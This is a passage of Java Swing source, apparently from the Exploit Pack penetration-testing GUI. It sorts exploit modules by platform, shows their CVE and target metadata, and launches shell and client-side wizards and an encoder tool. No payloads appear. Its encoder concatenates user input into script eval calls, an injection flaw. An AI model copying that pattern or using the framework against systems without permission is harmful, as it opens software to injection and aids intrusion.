                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 49);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("solaris_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 50);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 50);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("tru64")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 51);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 51);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("ultrix")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 52);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 52);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("unix")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 53);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 53);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("unixware")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 54);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 54);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("webapps")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 55);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 55);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("win32")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 56);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 56);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("win64")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 57);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 57);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("windows")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 58);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 58);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("xml")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 59);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 59);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }

                    // Create Custom Exploits
                    if (NewXMLNode.Platform.equals("custom")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 0);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    }
                    // Obtain total modules
                    TotalModulesLength = i;
                }
            }
        }

        model.reload();
        modelNotepad.reload();
        modelTools.reload();
        jTreeExploits.expandRow(0);
        jTreeNotepad.expandRow(0);
        jTreeTools.expandRow(0);

        DefaultTreeModel modelModuleStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
        DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelModuleStatus.getChild(modelModuleStatus.getRoot(), 0);
        rootStatus.add(new DefaultMutableTreeNode("Total exploits: " + TotalModulesLength));
        jTreeModuleStatus.expandRow(0);
        modelModuleStatus.reload(rootStatus);
        jTextAreaQuickInfo.append("[" + LogTime + "] " + "Total exploits: "
                + TotalModulesLength + ""
                + "\n");
        EPLogger.log("Modules loaded successfully: OK");
        EPLogger.log("Total of modules for this instance: " + TotalModulesLength);

    }//GEN-LAST:event_jMenuItem12ActionPerformed

    private void jMenuItem11ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem11ActionPerformed
        try {
            String OS = null;
            OS = System.getProperty("os.name");
            String Switch = OS;
            if (Switch.contains("Windows")) {
                runModule = "cmd.exe /c cd %temp% & cmd.exe /c start powershell.exe -NoExit";
            }
            if (Switch.equals("Linux")) {
                runModule = "xterm -T ExploitPack -geometry 200x80+0+900 -bg black -fg green -hold";
            }
            if (Switch.contains("Mac")) {
                runModule = "open -a Terminal";
            }
            Runtime.getRuntime().exec(runModule);

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }

    }//GEN-LAST:event_jMenuItem11ActionPerformed

    private void jButtonSearchActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonSearchActionPerformed
        // TODO add your handling code here:
        String path = "exploits/";
        String files;
        File folder = new File(path);
        File[] listOfFiles = folder.listFiles();
        jTextAreaQuickInfo.append("[" + LogTime + "] "
                + "Search executed successfully: OK" + "\n");
        DefaultTreeCellRenderer rendererModules = new DefaultTreeCellRenderer();
        rendererModules.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
        rendererModules.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
        rendererModules.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/log.png"))));
        jTreeModuleStatus.setCellRenderer(rendererModules);
        DefaultTreeCellRenderer rendererExploits = new DefaultTreeCellRenderer();
        rendererExploits.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
        rendererExploits.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
        rendererExploits.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptnormal.png"))));
        jTreeExploits.setCellRenderer(rendererExploits);
        DefaultTreeCellRenderer rendererRAT = new DefaultTreeCellRenderer();
        rendererRAT.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
        rendererRAT.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
        rendererRAT.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/terminal.png"))));
        jTreeRAT.setCellRenderer(rendererRAT);
        DefaultTreeCellRenderer rendererScanner = new DefaultTreeCellRenderer();
        rendererScanner.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
        rendererScanner.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
        rendererScanner.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/port.png"))));
        jTreeRemoteScanner.setCellRenderer(rendererScanner);
        DefaultTreeCellRenderer rendererTools = new DefaultTreeCellRenderer();
        rendererTools.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
        rendererTools.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
        rendererTools.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/tool.png"))));
        jTreeTools.setCellRenderer(rendererTools);
        DefaultTreeModel model = (DefaultTreeModel) jTreeExploits.getModel();
        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 0);
        root.removeAllChildren();
        boolean notfound = true;
        int searchtotal = 0;
        for (int i = 0; i < listOfFiles.length; i++) {
            if (listOfFiles[i].isFile()) {
                files = listOfFiles[i].getName();
                if (files.toLowerCase().contains(jTextFieldSearch.getText().toLowerCase())) {
                    // Instance of XMLTreenode
                    NewXMLNode = new XMLTreenode();
                    // Start of the class main of XMLTreenode
                    NewXMLNode.main(null, files);
                    DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                    root.add(item);
                    searchtotal++;

                    model.reload(root);
                    // Obtain total modules
                    TotalModulesLength = i;
                    notfound = false;
                }
            }
        }
        if (notfound) {
            jMenuItem12.doClick();
            jTextAreaQuickInfo.append("Sorry, module not found.." + "\n");
        }
        jTreeExploits.expandRow(0);
        DefaultTreeModel modelModuleStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
        DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelModuleStatus.getChild(modelModuleStatus.getRoot(), 0);
        rootStatus.add(new DefaultMutableTreeNode("Search found: " + searchtotal));
        jTreeModuleStatus.expandRow(0);
        modelModuleStatus.reload(rootStatus);
        jTextAreaQuickInfo.append("[" + LogTime + "] " + "Modules: "
                + TotalModulesLength + ""
                + "\n");
        EPLogger.log("Search executed successfully: OK");
        EPLogger.log("Total of modules for this instance: " + TotalModulesLength);
    }//GEN-LAST:event_jButtonSearchActionPerformed

    private void jTextFieldSearchActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextFieldSearchActionPerformed
        // TODO add your handling code here:
        jTextFieldSearch.setText("");
    }//GEN-LAST:event_jTextFieldSearchActionPerformed

    private void jTextFieldSearchKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_jTextFieldSearchKeyPressed
        // TODO add your handling code here:
        if (evt.getKeyChar() == KeyEvent.VK_ENTER) {
            jButtonSearch.doClick();
        }
    }//GEN-LAST:event_jTextFieldSearchKeyPressed

    private void jTextFieldSearchMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldSearchMouseClicked
        // TODO add your handling code here:
        jTextFieldSearch.setText("");
    }//GEN-LAST:event_jTextFieldSearchMouseClicked

    private void jButton5ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton5ActionPerformed
        // TODO add your handling code here:
        String[] hexa = new String[1];
        hexa[0] = "ExploitPack.jar";
        UI.main(hexa);
    }//GEN-LAST:event_jButton5ActionPerformed

    private void jMenuItem8ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem8ActionPerformed
        // TODO add your handling code here:
        String url = "http://www.exploitpack.com";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem8ActionPerformed

    private void jMenuItem50ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem50ActionPerformed
        // TODO add your handling code here:
        // TODO add your handling code here:
        String url = "http://www.exploitpack.com";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem50ActionPerformed

    private void jMenuItem51ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem51ActionPerformed
        // TODO add your handling code here:
        String url = "https://www.corelan.be";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem51ActionPerformed

    private void jMenuItem52ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem52ActionPerformed
        // TODO add your handling code here:
        String url = "http://www.exploit-db.com";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem52ActionPerformed

    private void jMenuItem53ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem53ActionPerformed
        // TODO add your handling code here:
        String url = "http://www.securityfocus.com";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem53ActionPerformed

    private void jMenuItem54ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem54ActionPerformed
        // TODO add your handling code here:
        String url = "http://seclists.org/fulldisclosure/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem54ActionPerformed

    private void jComboBox1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jComboBox1ActionPerformed
        // TODO add your handling code here:
        if (jComboBox1.getSelectedItem().toString().equals("Show all modules")) {
            jTextFieldSearch.setText("");
            jButtonSearch.doClick();
            jTextFieldSearch.setText("Name, author, platform, etc.");
        }

        if (jComboBox1.getSelectedItem().toString().equals("Show recent")) {
//TODO
        }
        if (jComboBox1.getSelectedItem().toString().equals("Count modules")) {
            jMenuItem12.doClick();
        }
    }//GEN-LAST:event_jComboBox1ActionPerformed

    private void jMenuItem57ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem57ActionPerformed
        // TODO add your handling code here:
        GettingStarted.main(null);
    }//GEN-LAST:event_jMenuItem57ActionPerformed

    private void jMenuItem63ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem63ActionPerformed
        // TODO add your handling code here:
        jMenuItem12.doClick();
    }//GEN-LAST:event_jMenuItem63ActionPerformed

    private void jTreeNotepadValueChanged(javax.swing.event.TreeSelectionEvent evt) {//GEN-FIRST:event_jTreeNotepadValueChanged
        // TODO add your handling code here:
        String ServerSelection = evt.getPath().getPath()[2].toString();
        ServerSelection = ServerSelection.concat(".xml");
        jTabbedPane.setSelectedIndex(1);
        // Start de la clase main de XMLTreenode
        NewXMLNode.main(null, ServerSelection);
        jTextAreaQuickInfo.setText("Server Name: "
                + NewXMLNode.ExploitName + "\n");
        jTextAreaQuickInfo.append("Author of this module: "
                + NewXMLNode.Author + "\n");
        jTextAreaQuickInfo.append("Type of exploit: "
                + NewXMLNode.ExploitType + "\n");
        jTextAreaQuickInfo.append("CVE ( Mitre ID ): "
                + NewXMLNode.Vulnerability + "\n");
        jTextAreaQuickInfo.append("Disclosure Date: "
                + NewXMLNode.Date);
        jTextAreaQuickInfo.append(NewXMLNode.Information);
        jTextAreaQuickInfo.setCaretPosition(0);

        // Set new instance of exploit
        exploit.setModuleName(NewXMLNode.ExploitName);
        exploit.setCodeName(NewXMLNode.CodeName);
        exploit.setType(NewXMLNode.ExploitType);
        exploit.setPlatform(NewXMLNode.Platform);
        exploit.setService(NewXMLNode.Service);
        exploit.setShellcodePort(NewXMLNode.ShellPort);
        exploit.setRemotePort(NewXMLNode.RemotePort);
        exploit.setShellcodeAvail(NewXMLNode.ShellcodeAvailable);
        exploit.setInformation(NewXMLNode.Information);
        exploit.setSpecialArgs(NewXMLNode.SpecialArgs);
        exploit.setAuthor(NewXMLNode.Author);
        exploit.setVulnerability(NewXMLNode.Vulnerability);
        exploit.setTargets(NewXMLNode.Targets);

        try {
            StringBuilder sb;
            try (BufferedReader fileInput = new BufferedReader(new FileReader("exploits/code/" + NewXMLNode.CodeName))) {
                String text = null;
                sb = new StringBuilder();
                do {
                    if (text != null) {
                        sb.append(text).append("\n");
                    }
                } while ((text = fileInput.readLine()) != null);

            }
            jTextAreaTargets.setText(sb.toString());
            jTextAreaTargets.setCaretPosition(0);
            jLabelTargetName.setText(exploit.getModuleName());

            if (NewXMLNode.Platform.equals("windows")) {
                if (NewXMLNode.SpecialArgs.equals("owned")) {

                } else {
                    jLabelPlatform.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/windowslogo.png"))));
                }
            }
            if (NewXMLNode.Platform.equals("linux")) {
                if (NewXMLNode.SpecialArgs.equals("owned")) {

                } else {
                    jLabelPlatform.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/linuxlogo.png"))));
                }
            }
            if (NewXMLNode.Platform.equals("osx")) {
                if (NewXMLNode.SpecialArgs.equals("owned")) {

                } else {
                    jLabelPlatform.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/maclogo.png"))));
                }
            }
            if (NewXMLNode.Platform.equals("bsd")) {
                if (NewXMLNode.SpecialArgs.equals("owned")) {

                } else {
                    jLabelPlatform.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bsdlogo.png"))));
                }
            }
            if (NewXMLNode.Platform.equals("mobile")) {
                if (NewXMLNode.SpecialArgs.equals("owned")) {

                } else {
                    jLabelPlatform.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/mobile_phone.png"))));

                }
            }

        } catch (IOException e1) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, e1);
        }
    }//GEN-LAST:event_jTreeNotepadValueChanged

    private void jButton25ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton25ActionPerformed
        try {
            File htmlFile = new File("data/test.html");
            Desktop.getDesktop().browse(htmlFile.toURI());

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton25ActionPerformed

    private void jButton26ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton26ActionPerformed
        // TODO add your handling code here:
        ClientsideWizard.main(null);
    }//GEN-LAST:event_jButton26ActionPerformed

    private void jMenuItem58ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem58ActionPerformed
        // TODO add your handling code here:
        try {
            File htmlFile = new File("data/test.html");
            Desktop.getDesktop().browse(htmlFile.toURI());

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem58ActionPerformed

    private void jMenuItem59ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem59ActionPerformed
        // TODO add your handling code here:
        ClientsideWizard.main(null);
    }//GEN-LAST:event_jMenuItem59ActionPerformed

    private void jMenuItem60ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem60ActionPerformed
        // TODO add your handling code here:
        ShellWizard.main(null);
    }//GEN-LAST:event_jMenuItem60ActionPerformed

    private void jMenuItem61ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem61ActionPerformed
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            return;
        }
        NetworkMapper.main(null);
    }//GEN-LAST:event_jMenuItem61ActionPerformed

    private void jMenuItem62ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem62ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem62ActionPerformed

    private void jMenuItem65ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem65ActionPerformed
        // TODO add your handling code here:
        Pattern.main(null);
    }//GEN-LAST:event_jMenuItem65ActionPerformed

    private void jMenuItem66ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem66ActionPerformed
        // TODO add your handling code here:
        CheckPattern.main(null);
    }//GEN-LAST:event_jMenuItem66ActionPerformed

    private void jMenuItem67ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem67ActionPerformed
        // TODO add your handling code here:
        VBSWizard.main(null);
    }//GEN-LAST:event_jMenuItem67ActionPerformed

    private void jMenuItem67MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jMenuItem67MouseClicked
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem67MouseClicked

    private void jMenuItem45ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem45ActionPerformed
        // TODO add your handling code here:
        AddTargets.main(null);
    }//GEN-LAST:event_jMenuItem45ActionPerformed

    private void jButton31ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton31ActionPerformed
        // TODO add your handling code here:
        RegisterForm.main(null);
    }//GEN-LAST:event_jButton31ActionPerformed

    private void jButton33ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton33ActionPerformed
        // TODO add your handling code here:
        VBSWizard.main(null);
    }//GEN-LAST:event_jButton33ActionPerformed

    private void jTabbedPaneMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTabbedPaneMouseClicked
        // TODO add your handling code here:
        if (jTabbedPane.getSelectedIndex() != 0) {
            if (SplashScreen.filepath) {
                jButton1.setEnabled(true);
                jButton11.setEnabled(true);
                jButtonFuzzer.setEnabled(true);
                jButtonFuzzer2.setEnabled(true);
                jButton30.setEnabled(true);
                jButton32.setEnabled(true);
                jButton14.setEnabled(true);
                jButton5.setEnabled(true);
            } else {
                JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            }
        }
    }//GEN-LAST:event_jTabbedPaneMouseClicked

    private void jButton32ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton32ActionPerformed
        // TODO add your handling code here:

        // TODO add your handling code here:
        try {
            ScriptEngineManager factory = new ScriptEngineManager();
            ScriptEngine engine = factory.getEngineByName("nashorn");
            engine.eval("load(\"" + "data/" + "encode.js" + "\");");
            jTextAreaEncodeDecodeResults.setText("Printing results and attempting to encode your message below..");
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Atom-128: " + engine.eval("a128e('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Base 64: " + engine.eval("ebase('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Megan-35: " + engine.eval("encrypto('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Tripo-5: " + engine.eval("encodo('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("GILA-7: " + engine.eval("egila('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Hazz-15: " + engine.eval("ehazz('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("TIGO-3FX: " + engine.eval("etigo3fx('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Feron-74: " + engine.eval("eferon('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Zong-22: " + engine.eval("ezong22('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("ROT-13: " + engine.eval("rot13('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Morse: " + engine.eval("DoMorseDecrypt('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Caesar: " + engine.eval("DoCaeserDecrypt('" + jTextFieldEncodeDecode.getText() + ",10')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Bin2ASCII: " + engine.eval("bintoascii('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Encool: " + engine.eval("encool('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Revese: " + engine.eval("DoReverse('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Arabica-2RS: " + engine.eval("_decodearab('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("ESAB-46: " + engine.eval("desab64('" + jTextFieldEncodeDecode.getText() + "')"));
        } catch (ScriptException ex) {
            Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton32ActionPerformed

    private void jButton30ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton30ActionPerformed
        // TODO add your handling code here:
        try {
            ScriptEngineManager factory = new ScriptEngineManager();
            ScriptEngine engine = factory.getEngineByName("nashorn");
            engine.eval("load(\"" + "data/" + "encode.js" + "\");");
            jTextAreaEncodeDecodeResults.setText("Printing results and attempting to decode your message below..");
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Atom-128: " + engine.eval("a128d('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Base 64: " + engine.eval("dbase('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Megan-35: " + engine.eval("decrypto('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Tripo-5: " + engine.eval("decodo('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("GILA-7: " + engine.eval("dgila('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Hazz-15: " + engine.eval("dhazz('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("TIGO-3FX: " + engine.eval("tigo3fx('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Feron-74: " + engine.eval("dferon('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Zong-22: " + engine.eval("zong22('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("ROT-13: " + engine.eval("rot13('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Morse: " + engine.eval("DoMorseDecrypt('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
